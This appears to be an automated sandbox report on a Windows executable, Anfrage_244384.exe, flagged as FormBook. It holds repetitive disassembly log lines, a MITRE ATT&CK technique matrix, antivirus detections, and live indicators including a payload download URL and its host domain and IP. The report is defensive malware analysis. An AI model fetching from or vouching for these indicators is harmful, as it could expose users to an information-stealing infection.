      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_34745227 mov eax, dword ptr fs:[00000030h]4_2_34745227
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346A7208 mov eax, dword ptr fs:[00000030h]4_2_346A7208
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346A7208 mov eax, dword ptr fs:[00000030h]4_2_346A7208
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3471B2F0 mov eax, dword ptr fs:[00000030h]4_2_3471B2F0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3471B2F0 mov eax, dword ptr fs:[00000030h]4_2_3471B2F0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3472F2F8 mov eax, dword ptr fs:[00000030h]4_2_3472F2F8
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_347452E2 mov eax, dword ptr fs:[00000030h]4_2_347452E2
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346692FF mov eax, dword ptr fs:[00000030h]4_2_346692FF
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_347212ED mov eax, dword ptr fs:[00000030h]4_2_347212ED
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_347212ED mov eax, dword ptr fs:[00000030h]4_2_347212ED
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_347212ED mov eax, dword ptr fs:[00000030h]4_2_347212ED
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_347212ED mov eax, dword ptr fs:[00000030h]4_2_347212ED
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_347212ED mov eax, dword ptr fs:[00000030h]4_2_347212ED
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_347212ED mov eax, dword ptr fs:[00000030h]4_2_347212ED
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_347212ED mov eax, dword ptr fs:[00000030h]4_2_347212ED
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_347212ED mov eax, dword ptr fs:[00000030h]4_2_347212ED
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_347212ED mov eax, dword ptr fs:[00000030h]4_2_347212ED
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_347212ED mov eax, dword ptr fs:[00000030h]4_2_347212ED
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_347212ED mov eax, dword ptr fs:[00000030h]4_2_347212ED
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_347212ED mov eax, dword ptr fs:[00000030h]4_2_347212ED
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_347212ED mov eax, dword ptr fs:[00000030h]4_2_347212ED
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_347212ED mov eax, dword ptr fs:[00000030h]4_2_347212ED
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346792C5 mov eax, dword ptr fs:[00000030h]4_2_346792C5
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346792C5 mov eax, dword ptr fs:[00000030h]4_2_346792C5
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3469B2C0 mov eax, dword ptr fs:[00000030h]4_2_3469B2C0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3469B2C0 mov eax, dword ptr fs:[00000030h]4_2_3469B2C0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3469B2C0 mov eax, dword ptr fs:[00000030h]4_2_3469B2C0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3469B2C0 mov eax, dword ptr fs:[00000030h]4_2_3469B2C0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3469B2C0 mov eax, dword ptr fs:[00000030h]4_2_3469B2C0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3469B2C0 mov eax, dword ptr fs:[00000030h]4_2_3469B2C0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3469B2C0 mov eax, dword ptr fs:[00000030h]4_2_3469B2C0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3466B2D3 mov eax, dword ptr fs:[00000030h]4_2_3466B2D3
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3466B2D3 mov eax, dword ptr fs:[00000030h]4_2_3466B2D3
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3466B2D3 mov eax, dword ptr fs:[00000030h]4_2_3466B2D3
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3469F2D0 mov eax, dword ptr fs:[00000030h]4_2_3469F2D0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3469F2D0 mov eax, dword ptr fs:[00000030h]4_2_3469F2D0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346852A0 mov eax, dword ptr fs:[00000030h]4_2_346852A0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346852A0 mov eax, dword ptr fs:[00000030h]4_2_346852A0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346852A0 mov eax, dword ptr fs:[00000030h]4_2_346852A0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346852A0 mov eax, dword ptr fs:[00000030h]4_2_346852A0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_347072A0 mov eax, dword ptr fs:[00000030h]4_2_347072A0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_347072A0 mov eax, dword ptr fs:[00000030h]4_2_347072A0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346F92BC mov eax, dword ptr fs:[00000030h]4_2_346F92BC
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346F92BC mov eax, dword ptr fs:[00000030h]4_2_346F92BC
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346F92BC mov ecx, dword ptr fs:[00000030h]4_2_346F92BC
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346F92BC mov ecx, dword ptr fs:[00000030h]4_2_346F92BC
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_347392A6 mov eax, dword ptr fs:[00000030h]4_2_347392A6
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_347392A6 mov eax, dword ptr fs:[00000030h]4_2_347392A6
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_347392A6 mov eax, dword ptr fs:[00000030h]4_2_347392A6
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_347392A6 mov eax, dword ptr fs:[00000030h]4_2_347392A6
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346A329E mov eax, dword ptr fs:[00000030h]4_2_346A329E
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346A329E mov eax, dword ptr fs:[00000030h]4_2_346A329E
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_34745283 mov eax, dword ptr fs:[00000030h]4_2_34745283
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_34713370 mov eax, dword ptr fs:[00000030h]4_2_34713370
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3472F367 mov eax, dword ptr fs:[00000030h]4_2_3472F367
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_34677370 mov eax, dword ptr fs:[00000030h]4_2_34677370
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_34677370 mov eax, dword ptr fs:[00000030h]4_2_34677370
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_34677370 mov eax, dword ptr fs:[00000030h]4_2_34677370
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3466D34C mov eax, dword ptr fs:[00000030h]4_2_3466D34C
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3466D34C mov eax, dword ptr fs:[00000030h]4_2_3466D34C
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_34745341 mov eax, dword ptr fs:[00000030h]4_2_34745341
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_34669353 mov eax, dword ptr fs:[00000030h]4_2_34669353
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_34669353 mov eax, dword ptr fs:[00000030h]4_2_34669353
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3469F32A mov eax, dword ptr fs:[00000030h]4_2_3469F32A
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_34667330 mov eax, dword ptr fs:[00000030h]4_2_34667330
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3473132D mov eax, dword ptr fs:[00000030h]4_2_3473132D
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3473132D mov eax, dword ptr fs:[00000030h]4_2_3473132D
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346F930B mov eax, dword ptr fs:[00000030h]4_2_346F930B
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346F930B mov eax, dword ptr fs:[00000030h]4_2_346F930B
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346F930B mov eax, dword ptr fs:[00000030h]4_2_346F930B
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_347453FC mov eax, dword ptr fs:[00000030h]4_2_347453FC
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3472F3E6 mov eax, dword ptr fs:[00000030h]4_2_3472F3E6
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3472B3D0 mov ecx, dword ptr fs:[00000030h]4_2_3472B3D0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_347113B9 mov eax, dword ptr fs:[00000030h]4_2_347113B9
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_347113B9 mov eax, dword ptr fs:[00000030h]4_2_347113B9
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_347113B9 mov eax, dword ptr fs:[00000030h]4_2_347113B9
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346A33A0 mov eax, dword ptr fs:[00000030h]4_2_346A33A0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346A33A0 mov eax, dword ptr fs:[00000030h]4_2_346A33A0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346933A5 mov eax, dword ptr fs:[00000030h]4_2_346933A5
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3474539D mov eax, dword ptr fs:[00000030h]4_2_3474539D
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346C739A mov eax, dword ptr fs:[00000030h]4_2_346C739A
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346C739A mov eax, dword ptr fs:[00000030h]4_2_346C739A
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_34681C60 mov eax, dword ptr fs:[00000030h]4_2_34681C60
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346A1C7C mov eax, dword ptr fs:[00000030h]4_2_346A1C7C
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_34667C40 mov eax, dword ptr fs:[00000030h]4_2_34667C40
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_34667C40 mov ecx, dword ptr fs:[00000030h]4_2_34667C40
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_34667C40 mov eax, dword ptr fs:[00000030h]4_2_34667C40
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_34667C40 mov eax, dword ptr fs:[00000030h]4_2_34667C40
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3472FC4F mov eax, dword ptr fs:[00000030h]4_2_3472FC4F
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_34741C3C mov eax, dword ptr fs:[00000030h]4_2_34741C3C
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346ABC3B mov esi, dword ptr fs:[00000030h]4_2_346ABC3B
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3473DC27 mov eax, dword ptr fs:[00000030h]4_2_3473DC27
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3473DC27 mov eax, dword ptr fs:[00000030h]4_2_3473DC27
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3473DC27 mov eax, dword ptr fs:[00000030h]4_2_3473DC27
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346F9C32 mov eax, dword ptr fs:[00000030h]4_2_346F9C32
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3474BC01 mov eax, dword ptr fs:[00000030h]4_2_3474BC01
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3474BC01 mov eax, dword ptr fs:[00000030h]4_2_3474BC01
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346FBC10 mov eax, dword ptr fs:[00000030h]4_2_346FBC10
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346FBC10 mov eax, dword ptr fs:[00000030h]4_2_346FBC10
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346FBC10 mov ecx, dword ptr fs:[00000030h]4_2_346FBC10
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_34711CF9 mov eax, dword ptr fs:[00000030h]4_2_34711CF9
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_34711CF9 mov eax, dword ptr fs:[00000030h]4_2_34711CF9
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_34711CF9 mov eax, dword ptr fs:[00000030h]4_2_34711CF9
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346A5CC0 mov eax, dword ptr fs:[00000030h]4_2_346A5CC0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346A5CC0 mov eax, dword ptr fs:[00000030h]4_2_346A5CC0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3471FCDF mov eax, dword ptr fs:[00000030h]4_2_3471FCDF
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3471FCDF mov eax, dword ptr fs:[00000030h]4_2_3471FCDF
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3471FCDF mov eax, dword ptr fs:[00000030h]4_2_3471FCDF
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_34681CC7 mov eax, dword ptr fs:[00000030h]4_2_34681CC7
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_34681CC7 mov eax, dword ptr fs:[00000030h]4_2_34681CC7
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_34667CD5 mov eax, dword ptr fs:[00000030h]4_2_34667CD5
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_34667CD5 mov eax, dword ptr fs:[00000030h]4_2_34667CD5
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_34667CD5 mov eax, dword ptr fs:[00000030h]4_2_34667CD5
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_34667CD5 mov eax, dword ptr fs:[00000030h]4_2_34667CD5
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_34667CD5 mov eax, dword ptr fs:[00000030h]4_2_34667CD5
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346F3CDB mov eax, dword ptr fs:[00000030h]4_2_346F3CDB
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346F3CDB mov eax, dword ptr fs:[00000030h]4_2_346F3CDB
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346F3CDB mov eax, dword ptr fs:[00000030h]4_2_346F3CDB
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3466DCA0 mov eax, dword ptr fs:[00000030h]4_2_3466DCA0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3469FCA0 mov ecx, dword ptr fs:[00000030h]4_2_3469FCA0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3469FCA0 mov eax, dword ptr fs:[00000030h]4_2_3469FCA0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3469FCA0 mov eax, dword ptr fs:[00000030h]4_2_3469FCA0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3469FCA0 mov eax, dword ptr fs:[00000030h]4_2_3469FCA0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3469FCA0 mov eax, dword ptr fs:[00000030h]4_2_3469FCA0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346ABCA0 mov eax, dword ptr fs:[00000030h]4_2_346ABCA0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346ABCA0 mov eax, dword ptr fs:[00000030h]4_2_346ABCA0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346ABCA0 mov ecx, dword ptr fs:[00000030h]4_2_346ABCA0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346ABCA0 mov eax, dword ptr fs:[00000030h]4_2_346ABCA0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3472FCAB mov eax, dword ptr fs:[00000030h]4_2_3472FCAB
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3472FCAB mov eax, dword ptr fs:[00000030h]4_2_3472FCAB
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3472FCAB mov eax, dword ptr fs:[00000030h]4_2_3472FCAB
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3472FCAB mov eax, dword ptr fs:[00000030h]4_2_3472FCAB
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3472FCAB mov eax, dword ptr fs:[00000030h]4_2_3472FCAB
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3472FCAB mov eax, dword ptr fs:[00000030h]4_2_3472FCAB
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3472FCAB mov eax, dword ptr fs:[00000030h]4_2_3472FCAB
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3472FCAB mov eax, dword ptr fs:[00000030h]4_2_3472FCAB
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3472FCAB mov eax, dword ptr fs:[00000030h]4_2_3472FCAB
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3472FCAB mov eax, dword ptr fs:[00000030h]4_2_3472FCAB
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3472FCAB mov eax, dword ptr fs:[00000030h]4_2_3472FCAB
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3472FCAB mov eax, dword ptr fs:[00000030h]4_2_3472FCAB
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3472FCAB mov eax, dword ptr fs:[00000030h]4_2_3472FCAB
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3472FCAB mov eax, dword ptr fs:[00000030h]4_2_3472FCAB
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_34673C84 mov eax, dword ptr fs:[00000030h]4_2_34673C84
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_34673C84 mov eax, dword ptr fs:[00000030h]4_2_34673C84
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_34673C84 mov eax, dword ptr fs:[00000030h]4_2_34673C84
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_34673C84 mov eax, dword ptr fs:[00000030h]4_2_34673C84
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_34729D70 mov eax, dword ptr fs:[00000030h]4_2_34729D70
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_34729D70 mov eax, dword ptr fs:[00000030h]4_2_34729D70
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3471FD78 mov eax, dword ptr fs:[00000030h]4_2_3471FD78
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3471FD78 mov eax, dword ptr fs:[00000030h]4_2_3471FD78
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3471FD78 mov eax, dword ptr fs:[00000030h]4_2_3471FD78
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3471FD78 mov eax, dword ptr fs:[00000030h]4_2_3471FD78
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3471FD78 mov eax, dword ptr fs:[00000030h]4_2_3471FD78
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_34677D75 mov eax, dword ptr fs:[00000030h]4_2_34677D75
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_34677D75 mov eax, dword ptr fs:[00000030h]4_2_34677D75
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346ABD4E mov eax, dword ptr fs:[00000030h]4_2_346ABD4E
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346ABD4E mov eax, dword ptr fs:[00000030h]4_2_346ABD4E
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_34745D50 mov eax, dword ptr fs:[00000030h]4_2_34745D50
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_34745D50 mov eax, dword ptr fs:[00000030h]4_2_34745D50
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_34667D41 mov eax, dword ptr fs:[00000030h]4_2_34667D41
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_34683D40 mov eax, dword ptr fs:[00000030h]4_2_34683D40
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_34683D40 mov eax, dword ptr fs:[00000030h]4_2_34683D40
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_34683D40 mov eax, dword ptr fs:[00000030h]4_2_34683D40
      Source: C:\Users\user\Desktop\Anfrage_244384.exeProcess created: C:\Users\user\Desktop\Anfrage_244384.exe "C:\Users\user\Desktop\Anfrage_244384.exe"Jump to behavior
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 0_2_00405DE5 GetVersion,GetSystemDirectoryA,GetWindowsDirectoryA,SHGetSpecialFolderLocation,SHGetPathFromIDListA,CoTaskMemFree,lstrcatA,lstrlenA,0_2_00405DE5

      Stealing of Sensitive Information

      barindex
      Yara detected FormBook
      Source: Yara matchFile source: 00000004.00000002.3033110868.00000000342E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

      Remote Access Functionality

      barindex
      Yara detected FormBook
      Source: Yara matchFile source: 00000004.00000002.3033110868.00000000342E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

      Mitre Att&ck Matrix

      ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
      Gather Victim Identity InformationAcquire InfrastructureValid Accounts1
      Native API      		1
      DLL Side-Loading      		1
      Access Token Manipulation      		11
      Masquerading      		OS Credential Dumping211
      Security Software Discovery      		Remote Services1
      Archive Collected Data      		11
      Encrypted Channel      		Exfiltration Over Other Network Medium1
      System Shutdown/Reboot
      CredentialsDomainsDefault AccountsScheduled Task/JobBoot or Logon Initialization Scripts11
      Process Injection      		1
      Virtualization/Sandbox Evasion      		LSASS Memory1
      Virtualization/Sandbox Evasion      		Remote Desktop Protocol1
      Clipboard Data      		1
      Ingress Tool Transfer      		Exfiltration Over BluetoothNetwork Denial of Service
      Email AddressesDNS ServerDomain AccountsAtLogon Script (Windows)1
      DLL Side-Loading      		1
      Access Token Manipulation      		Security Account Manager2
      File and Directory Discovery      		SMB/Windows Admin SharesData from Network Shared Drive2
      Non-Application Layer Protocol      		Automated ExfiltrationData Encrypted for Impact
      Employee NamesVirtual Private ServerLocal AccountsCronLogin HookLogin Hook11
      Process Injection      		NTDS23
      System Information Discovery      		Distributed Component Object ModelInput Capture13
      Application Layer Protocol      		Traffic DuplicationData Destruction
      Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon ScriptNetwork Logon Script1
      Deobfuscate/Decode Files or Information      		LSA SecretsInternet Connection DiscoverySSHKeyloggingFallback ChannelsScheduled TransferData Encrypted for Impact
      Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC ScriptsRC Scripts2
      Obfuscated Files or Information      		Cached Domain CredentialsWi-Fi DiscoveryVNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop
      DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup ItemsStartup Items1
      DLL Side-Loading      		DCSyncRemote System DiscoveryWindows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery

      Behavior Graph

      Hide Legend

      Legend:

      • Process
      • Signature
      • Created File
      • DNS/IP Info
      • Is Dropped
      • Is Windows Process
      • Number of created Registry Values
      • Number of created Files
      • Visual Basic
      • Delphi
      • Java
      • .Net C# or VB.NET
      • C, C++ or other language
      • Is malicious
      • Internet

      Screenshots

      Thumbnails

      This section contains all screenshots as thumbnails, including those not shown in the slideshow.


      windows-stand

      Antivirus, Machine Learning and Genetic Malware Detection

      Initial Sample

      SourceDetectionScannerLabelLink
      Anfrage_244384.exe16%ReversingLabsWin32.Trojan.InjectorX
      Anfrage_244384.exe100%AviraHEUR/AGEN.1361137

      Dropped Files

      SourceDetectionScannerLabelLink
      C:\Users\user\AppData\Local\Temp\nsw3989.tmp\System.dll0%ReversingLabs

      Unpacked PE Files

      ⊘No Antivirus matches

      Domains

      ⊘No Antivirus matches

      URLs

      SourceDetectionScannerLabelLink
      https://familytherapycenter.rs/LxuQG254.bin0%Avira URL Cloudsafe
      https://familytherapycenter.rs/0%Avira URL Cloudsafe
      https://familytherapycenter.rs/J0%Avira URL Cloudsafe

      Domains and IPs

      Contacted Domains

      NameIPActiveMaliciousAntivirus DetectionReputation
      familytherapycenter.rs
      		188.40.95.144
      		truefalse
        		high

        Contacted URLs

        NameMaliciousAntivirus DetectionReputation
        https://familytherapycenter.rs/LxuQG254.binfalse
        • Avira URL Cloud: safe
        		unknown

        URLs from Memory and Binaries

        NameSourceMaliciousAntivirus DetectionReputation
        http://www.w3c.org/TR/1999/REC-html401-19991224/loose.dtdAnfrage_244384.exe, 00000004.00000001.2548718587.00000000005F2000.00000020.00000001.01000000.00000007.sdmpfalse
          		high
          http://www.ftp.ftp://ftp.gopher.Anfrage_244384.exe, 00000004.00000001.2548718587.0000000000649000.00000020.00000001.01000000.00000007.sdmpfalse
            		high
            https://familytherapycenter.rs/JAnfrage_244384.exe, 00000004.00000003.2961658972.00000000044F3000.00000004.00000020.00020000.00000000.sdmp, Anfrage_244384.exe, 00000004.00000003.2961507156.00000000044F3000.00000004.00000020.00020000.00000000.sdmp, Anfrage_244384.exe, 00000004.00000002.3005496229.00000000044F3000.00000004.00000020.00020000.00000000.sdmpfalse
            • Avira URL Cloud: safe
            		unknown
            http://www.w3c.org/TR/1999/REC-html401-19991224/frameset.dtdAnfrage_244384.exe, 00000004.00000001.2548718587.00000000005F2000.00000020.00000001.01000000.00000007.sdmpfalse
              		high
              http://nsis.sf.net/NSIS_ErrorAnfrage_244384.exefalse
                		high
                http://nsis.sf.net/NSIS_ErrorErrorAnfrage_244384.exefalse
                  		high
                  https://familytherapycenter.rs/Anfrage_244384.exe, 00000004.00000003.2961658972.00000000044F3000.00000004.00000020.00020000.00000000.sdmp, Anfrage_244384.exe, 00000004.00000003.2961507156.00000000044F3000.00000004.00000020.00020000.00000000.sdmp, Anfrage_244384.exe, 00000004.00000002.3005496229.00000000044F3000.00000004.00000020.00020000.00000000.sdmpfalse
                  • Avira URL Cloud: safe
                  		unknown
                  https://inference.location.live.net/inferenceservice/v21/Pox/GetLocationUsingFingerprinte1e71f6b-214Anfrage_244384.exe, 00000004.00000001.2548718587.0000000000649000.00000020.00000001.01000000.00000007.sdmpfalse
                    		high

                    World Map of Contacted IPs

                    • No. of IPs < 25%
                    • 25% < No. of IPs < 50%
                    • 50% < No. of IPs < 75%
                    • 75% < No. of IPs

                    Public IPs

                    IPDomainCountryFlagASNASN NameMalicious
                    188.40.95.144
                    		familytherapycenter.rsGermany
                    		24940HETZNER-ASDEfalse

                    General Information

                    Joe Sandbox version:41.0.0 Charoite
                    Analysis ID:1552316
                    Start date and time:2024-11-08 15:57:01 +01:00
                    Joe Sandbox product:CloudBasic
                    Overall analysis duration:0h 7m 7s
                    Hypervisor based Inspection enabled:false
                    Report type:full
                    Cookbook file name:default.jbs
